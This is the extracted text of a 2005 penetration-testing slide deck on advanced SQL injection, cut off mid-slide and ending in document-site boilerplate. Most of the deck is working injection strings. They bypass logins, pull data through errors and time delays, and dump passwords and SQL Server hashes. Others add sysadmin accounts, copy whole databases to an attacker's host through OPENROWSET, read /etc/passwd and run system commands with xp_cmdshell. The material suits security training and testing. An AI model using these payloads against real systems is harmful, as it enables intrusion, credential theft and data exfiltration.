nullAdvanced SQL InjectionAdvanced SQL InjectionVictor Chapela
Sm4rt Security Services
victor@sm4rt.com4/11/2005What is SQL?*What is SQL?SQL stands for Structured Query Language
Allows us to access a database
ANSI and ISO standard computer language
The most current standard is SQL99
SQL can:
execute queries against a database
retrieve data from a database
insert new records in a database
delete records from a database
update records in a databaseSQL is a Standard - but...*SQL is a Standard - but...There are many different versions of the SQL language
They support the same major keywords in a similar manner (such as SELECT, UPDATE, DELETE, INSERT, WHERE, and others).
Most of the SQL database programs also have their own proprietary extensions in addition to the SQL standard!SQL Database Tables*SQL Database TablesA relational database contains one or more tables identified each by a name
Tables contain records (rows) with data
For example, the following table is called "users" and contains data distributed in rows and columns:
SQL Queries*SQL QueriesWith SQL, we can query a database and have a result set returned
Using the previous table, a query like this:
SELECT LastName FROM users WHERE UserID = 1;
Gives a result set like this:
LastName
--------------
SmithSQL Data Manipulation Language (DML)*SQL Data Manipulation Language (DML)SQL includes a syntax to update, insert, and delete records:
SELECT - extracts data
UPDATE - updates data
INSERT INTO - inserts new data
DELETE - deletes dataSQL Data Definition Language (DDL)*SQL Data Definition Language (DDL)The Data Definition Language (DDL) part of SQL permits:
Database tables to be created or deleted
Define indexes (keys)
Specify links between tables
Impose constraints between database tables
Some of the most commonly used DDL statements in SQL are:
CREATE TABLE - creates a new database table
ALTER TABLE - alters (changes) a database table
DROP TABLE - deletes a database tableMetadata*MetadataAlmost all SQL databases are based on the RDBM (Relational Database Model)
One important fact for SQL Injection
Amongst Codd's 12 rules for a Truly Relational Database System:
Metadata (data about the database) must be stored in the database just as regular data is
Therefore, database structure can also be read and altered with SQL queries
What is SQL Injection?*What is SQL Injection?
The ability to inject SQL commands into the database engine through an existing applicationHow common is it?*How common is it?It is probably the most common Website vulnerability today!
It is a flaw in "web application" development, it is not a DB or web server problem
Most programmers are still not aware of this problem
A lot of the tutorials & demo “templates” are vulnerable
Even worse, a lot of solutions posted on the Internet are not good enough
In our pen tests over 60% of our clients turn out to be vulnerable to SQL InjectionVulnerable Applications*Vulnerable ApplicationsAlmost all SQL databases and programming languages are potentially vulnerable
MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc
Accessed through applications developed using:
Perl and CGI scripts that access databases
ASP, JSP, PHP
XML, XSL and XSQL
Javascript
VB, MFC, and other ODBC-based tools and APIs
DB specific Web-based applications and API’s
Reports and DB Applications
3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
many moreHow does SQL Injection work?*How does SQL Injection work?Common vulnerable login query
SELECT * FROM users
WHERE login = 'victor'
AND password = '123'
(If it returns something then login!)
ASP/MS SQL Server login syntax
var sql = "SELECT * FROM users
WHERE login = '" + formusr +
"' AND password = '" + formpwd + "'"; Injecting through Strings*Injecting through Stringsformusr = ' or 1=1 – –
formpwd = anything
Final query would look like this:
SELECT * FROM users
WHERE username = ' ' or 1=1
– – AND password = 'anything'The power of '*The power of 'It closes the string parameter
Everything after is considered part of the SQL command
Misleading Internet suggestions include:
Escape it! : replace ' with ' '
String fields are very common but there are other types of fields:
Numeric
DatesIf it were numeric?*If it were numeric?SELECT * FROM clients
WHERE account = 12345678
AND pin = 1111
PHP/MySQL login syntax
$sql = "SELECT * FROM clients WHERE " .
"account = $formacct AND " .
"pin = $formpin"; Injecting Numeric Fields*Injecting Numeric Fields$formacct = 1 or 1=1 #
$formpin = 1111
Final query would look like this:
SELECT * FROM clients
WHERE account = 1 or 1=1
# AND pin = 1111SQL Injection Characters*SQL Injection Characters' or " character String Indicators
-- or # single-line comment
/*…*/ multiple-line comment
+ addition, concatenate (or space in url)
|| (double pipe) concatenate
% wildcard attribute indicator
?Param1=foo&Param2=bar URL Parameters
PRINT useful as non transactional command
@variable local variable
@@variable global variable
waitfor delay '0:0:10' time delayMethodologyMethodologySQL Injection Testing Methodology*SQL Injection Testing Methodology1) Input Validation1) Input Validation*1) Input Validation2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input ValidationDiscovery of Vulnerabilities*Discovery of VulnerabilitiesVulnerabilities can be anywhere, we check all entry points:
Fields in web forms
Script parameters in URL query strings
Values stored in cookies or hidden fields
By "fuzzing" we insert into every one:
Character sequence: ' " ) # || + >
SQL reserved words with white space delimiters
%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)
Delay query ' waitfor delay '0:0:10'--2) Information Gathering *2) Information Gathering 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence1) Input Validation2) Information Gathering*2) Information GatheringWe will try to find out the following:
Output mechanism
Understand the query
Determine database type
Find out user privilege level
Determine OS interaction levela) Exploring Output Mechanisms*a) Exploring Output MechanismsUsing query result sets in the web application
Error Messages
Craft SQL queries that generate specific types of error messages with valuable info in them
Blind SQL Injection
Use time delays or error signatures to determine extract information
Almost the same things can be done but Blind Injection is much slower and more difficult
Other mechanisms
e-mail, SMB, FTP, TFTPExtracting information through Error Messages*Extracting information through Error MessagesGrouping Error
' group by columnnames having 1=1 - -
Type Mismatch
' union select 1,1,'text',1,1,1 - -
' union select 1,1, bigint,1,1,1 - -
Where 'text' or bigint are being united into an int column
In DBs that allow subqueries, a better way is:
' and 1 in (select 'text' ) - -
In some cases we may need to CAST or CONVERT our data to generate the error messagesBlind Injection*Blind InjectionWe can use different known outcomes
' and condition and '1'='1
Or we can use if statements
'; if condition waitfor delay '0:0:5' --
'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
Additionally, we can run all types of queries but with no debugging information!
We get yes/no responses only
We can extract ASCII a bit at a time...
Very noisy and time consuming but possible with automated tools like SQueaLb) Understanding the Query*b) Understanding the QueryThe query can be:
SELECT
UPDATE
EXEC
INSERT
Or something more complex
Context helps
What is the form or page trying to do with our input?
What is the name of the field, cookie or parameter?SELECT Statement*SELECT StatementMost injections will land in the middle of a SELECT statement
In a SELECT clause we almost always end up in the WHERE section:
SELECT *
FROM table
WHERE x = 'normalinput' group by x having 1=1 --
GROUP BY x
HAVING x = y
ORDER BY xUPDATE statement*UPDATE statementIn a change your password section of an app we may find the following
UPDATE users
SET password = 'new password'
WHERE login = logged.user AND password = 'old password'
If you inject in new password and comment the rest, you end up changing every password in the table!Determining a SELECT Query Structure*Determining a SELECT Query StructureTry to replicate an error free navigation
Could be as simple as ' and '1' = '1
Or ' and '1' = '2
Generate specific errors
Determine table and column names ' group by columnnames having 1=1 --
Do we need parenthesis? Is it a subquery?Is it a stored procedure?*Is it a stored procedure?We use different injections to determine what we can or cannot do
,@variable
?Param1=foo&Param2=bar
PRINT
PRINT @@variableTricky Queries*Tricky QueriesWhen we are in a part of a subquery or begin - end statement
We will need to use parenthesis to get out
Some functionality is not available in subqueries (for example group by, having and further subqueries)
In some occasions we will need to add an END
When several queries use the input
We may end up creating different errors in different queries, it gets confusing!
An error generated in the query we are interrupting may stop execution of our batch queries
Some queries are simply not escapable!c) Determine Database Engine Type*c) Determine Database Engine TypeMost times the error messages will let us know what DB engine we are working with
ODBC errors will display database type as part of the driver information
If we have no ODBC error messages:
We make an educated guess based on the Operating System and Web Server
Or we use DB-specific characters, commands or stored procedures that will generate different error messagesSome differences*Some differencesMore differences…*More differences…d) Finding out user privilege level*d) Finding out user privilege levelThere are several SQL99 built-in scalar functions that will work in most SQL implementations:
user or current_user
session_user
system_user
' and 1 in (select user ) --
'; if user ='dbo' waitfor delay '0:0:5 '--
' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );DB Administrators*DB AdministratorsDefault administrator accounts include:
sa, system, sys, dba, admin, root and many others
In MS SQL they map into dbo:
The dbo is a user that has implied permissions to perform all activities in the database.
Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo.
Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.3) 1=1 Attacks *3) 1=1 Attacks 1) Input Validation5) OS Interaction 6) OS Cmd Prompt4) Extracting Data7) Expand Influence2) Info. Gathering 3) 1=1 Attacks Discover DB structure*Discover DB structureDetermine table and column names ' group by columnnames having 1=1 --
Discover column name types
' union select sum(columnname ) from tablename --
Enumerate user defined tables
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --Enumerating table columns in different DBs*Enumerating table columns in different DBsMS SQL
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')
sp_columns tablename (this stored procedure can be used instead)
MySQL
show columns from tablename
Oracle
SELECT * FROM all_tab_columns WHERE table_name='tablename '
DB2
SELECT * FROM syscat.columns WHERE tabname= 'tablename '
Postgres
SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename ' AND pg_class.oid=attrelid AND attnum > 0All tables and columns in one query*All tables and columns in one query' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --Database Enumeration*Database EnumerationIn MS SQL Server, the databases can be queried with master..sysdatabases
Different databases in Server
' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
File location of databases
' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --System Tables*System TablesOracle
SYS.USER_OBJECTS
SYS.TAB
SYS.USER_TEBLES
SYS.USER_VIEWS
SYS.ALL_TABLES
SYS.USER_TAB_COLUMNS
SYS.USER_CATALOG
MySQL
mysql.user
mysql.host
mysql.dbMS Access
MsysACEs
MsysObjects
MsysQueries
MsysRelationships
MS SQL Server
sysobjects
syscolumns
systypes
sysdatabases4) Extracting Data*4) Extracting Data4) Extracting Data1) Input Validation5) OS Interaction 6) OS Cmd Prompt7) Expand Influence2) Info. Gathering 3) 1=1 Attacks Password grabbing*Password grabbingGrabbing username and passwords from a User Defined table
'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' ' from users where login>@var select @var as var into temp end --
' and 1 in (select var from temp) --
' ; drop table temp --Create DB Accounts*Create DB AccountsMS SQL
exec sp_addlogin 'victor', 'Pass123'
exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))
Access
CREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)
CREATE USER victor WITH PASSWORD 'Pass123'
Oracle
CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;
GRANT CONNECT TO victor;
GRANT RESOURCE TO victor;Grabbing MS SQL Server Hashes*Grabbing MS SQL Server HashesAn easy query:
SELECT name, password FROM sysxlogins
But, hashes are varbinary
To display them correctly through an error message we need to Hex them
And then concatenate all
We can only fit 70 name/password pairs in a varchar
We can only see 1 complete pair at a time
Password field requires dbo access
With lower privileges we can still recover user names and brute force the passwordWhat do we do?*What do we do?The hashes are extracted using
SELECT password FROM master..sysxlogins
We then hex each hash
begin @charvalue='0x', @i=1, @length=datalength(@binvalue),
@hexstring = '0123456789ABCDEF'
while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint int
select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 END
And then we just cycle through all passwords
Extracting SQL Hashes*Extracting SQL HashesIt is a long statement
'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --Extract hashes through error messages*Extract hashes through error messages' and 1 in (select x from temp) --
' and 1 in (select substring (x, 256, 256) from temp) --
' and 1 in (select substring (x, 512, 256) from temp) --
etc…
' drop table temp --
Brute forcing Passwords*Brute forcing PasswordsPasswords can be brute forced by using the attacked server to do the processing
SQL Crack Script
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0
drop table tempdb..passwords
Transfer DB structure and data*Transfer DB structure and dataOnce network connectivity has been tested
SQL Server can be linked back to the attacker's DB by using OPENROWSET
DB Structure is replicated
Data is transferred
It can all be done by connecting to a remote port 80!Create Identical DB Structure*Create Identical DB Structure'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases --
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases') select * from user_database.dbo.sysobjects --
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_syscolumns') select * from user_database.dbo.syscolumns --Transfer DB*Transfer DB'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table1')
select * from database..table1 --
'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..table2')
select * from database..table2 --5) OS Interaction *5) OS Interaction 5) OS Interaction 6) OS Cmd Prompt7) Expand Influence1) Input Validation2) Info. Gathering 3) 1=1 Attacks 4) Extracting DataInteracting with the OS*Interacting with the OSTwo ways to interact with the OS:
Reading and writing system files from disk
Find passwords and configuration files
Change passwords and configuration
Execute commands by overwriting initialization or configuration files
Direct command execution
We can do anything
Both are restricted by the database's running privileges and permissionsMySQL OS Interaction*MySQL OS InteractionMySQL
LOAD_FILE
' union select 1,load_file('/etc/passwd'),1,1,1;
LOAD DATA INFILE
create table temp( line blob );
load data infile '/etc/passwd' into table temp;
select * from temp;
SELECT INTO OUTFILEMS SQL OS Interaction*MS SQL OS InteractionMS SQL Server
'; exec master..xp_cmdshell 'ipconfig > test.txt' --
'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --
'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --
' and 1 in (select substring(x,1,256) from temp) --
'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --Architecture*ArchitectureTo keep in mind always!
Our injection most times will be executed on a different server
The DB server may not even have Internet accessAssessing Network Connectivity*Assessing Network ConnectivityServer name and configuration
' and 1 in (select @@servername ) --
' and 1 in (select srvname from master..sysservers ) --
NetBIOS, ARP, Local Open Ports, Trace route?
Reverse connections
nslookup, ping
ftp, tftp, smb
We have to test for firewall and proxiesGathering IP information through reverse lookups*Gathering IP information through r
本文档为【SQL注入高级进阶】,请使用软件OFFICE或WPS软件打开。作品中的文字与图均可以修改和编辑,
图片更改请在作品中右键图片并更换,文字修改请直接点击文字进行修改,也可以新增和删除文档中的内容。
该文档来自用户分享,如有侵权行为请发邮件ishare@vip.sina.com联系网站客服,我们会及时删除。
[版权声明] 本站所有资料为用户分享产生,若发现您的权利被侵害,请联系客服邮件isharekefu@iask.cn,我们尽快处理。
本作品所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用。
网站提供的党政主题相关内容(国旗、国徽、党徽..)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。